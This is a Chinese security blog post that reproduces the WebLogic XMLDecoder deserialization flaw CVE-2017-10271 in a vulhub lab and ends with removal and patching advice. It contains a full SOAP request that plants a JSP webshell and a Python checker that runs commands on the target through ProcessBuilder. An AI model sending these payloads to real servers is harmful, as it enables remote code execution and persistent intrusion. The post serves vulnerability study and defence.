WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)

admin 2023年3月6日11:56:41评论61 views字数 4261阅读14分12秒阅读模式

1、漏洞描述

CVE-2017-10271漏洞产生的原因大致是Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。攻击者发送精心构造的xml数据甚至能通过反弹shell拿到权限。

2、涉及版本


10.3.6.0.012.1.3.0.012.2.1.1.012.2.1.2.0


3、环境搭建(vulhub)


cd weblogiccd CVE-2017-10271docker-compose up -ddocker-compose config


4、验证漏洞

1)访问链接:

http://192.168.61.129:7001/wls-wsat/CoordinatorPortType


WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)

返回如下页面,表示漏洞存在。

漏洞不仅仅存在与 /wls-wsat/CoordinatorPortType,只要是wls-wsat包中的Url皆收到影响,可以查看web.xml得知所受到影响的URl。


/wls-wsat/CoordinatorPortType/wls-wsat/RegistrationPortTypeRPC/wls-wsat/ParticipantPortType/wls-wsat/RegistrationRequesterPortType/wls-wsat/CoordinatorPortType11/wls-wsat/RegistrationPortTypeRPC11/wls-wsat/ParticipantPortType11/wls-wsat/RegistrationRequesterPortType11


2)构造数据包

构造写入文件数据包发送,其中Content-Type需要等于text/xml,否则可能导致XMLDecoder不解析。

WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)


POST /wls-wsat/CoordinatorPortType HTTP/1.1Host: 192.168.61.129:7001Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: text/xmlContent-Length: 645
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java><java version="1.4.0" class="java.beans.XMLDecoder"> <object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shell.jsp</string> <void method="println"><string> <![CDATA[<% out.print("webshell"); %> ]]> </string> </void> <void method="close"/> </object></java></java> </work:WorkContext> </soapenv:Header> <soapenv:Body/></soapenv:Envelope>


3)验证webshell。

我们访问恶意路径:http://192.168.61.129:7001/bea_wls_internal/shell.jsp

WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)

不熟悉JAVA可以了解构造的XML。

https://docs.oracle.com/javase/tutorial/javabeans/advanced/longpersistence.htm

4)实战下Linux反弹shell。WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)

我们kali开启监听。

WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)

成功获取到shell。

WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)

5、漏洞检测


#!/usr/bin/env python# coding:utf-8# @Date    : 2017/12/22 17:11# @File    : weblogic_poc.py# @Author  : sevck # @Link    : http://www.qingteng.cn                  #-------------------------------------------------------------------------  import requestsimport refrom sys import argv
heads = { 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3', 'Content-Type': 'text/xml;charset=UTF-8' }
def poc(url): if not url.startswith("http"): url = "http://" + url if "/" in url: url += '/wls-wsat/CoordinatorPortType' post_str = ''' <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="2"> <void index="0"> <string>/bin/touch</string> </void> <void index="1"> <string>/tmp/weblogic</string> </void> </array> <void method="start"/> </void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope> '''
try: response = requests.post(url, data=post_str, verify=False, timeout=5, headers=heads) response = response.text response = re.search(r"<faultstring>.*</faultstring>", response).group(0) except Exception, e: response = ""
if '<faultstring>java.lang.ProcessBuilder' in response or "<faultstring>0" in response: result = "Vulnerability" return result else: result = "No Vulnerability" return result

if __name__ == '__main__': if len(argv) == 1: print "python weblogic_poc.py url:port" exit(0) else: url = argv[1] result = poc(url=url) print result


检测命令如下:python2 CVE-2017-10271.py http://192.168.61.129:7001

WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)

各种检测的工具,也都能检测到。

6、解决方案

1.临时解决方案

根据攻击者利用POC分析发现所利用的为wls-wsat组件的CoordinatorPortType接口,若Weblogic服务器集群中未应用此组件,建议临时备份后将此组件删除,当形成防护能力后,再进行恢复。根据实际环境路径,删除WebLogic wls-wsat组件:

rm -f   /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.warrm -f   /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.warrm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat


删除后重启Weblogic域控制器服务:


DOMAIN_NAME/bin/stopWeblogic.sh           #停止服务DOMAIN_NAME/bin/startManagedWebLogic.sh    #启动服务


删除以上文件之后,需重启WebLogic。确认http://weblogic_ip/wls-wsat/ 是否为404页面。

2.官方补丁修复

前往Oracle官网下载10月份所提供的安全补丁:http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html升级过程可参考:http://blog.csdn.net/qqlifu/article/details/49423839


原文始发于微信公众号(赤弋安全团队):WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月6日11:56:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)http://cn-sec.com/archives/1589160.html

发表评论

匿名网友 填写信息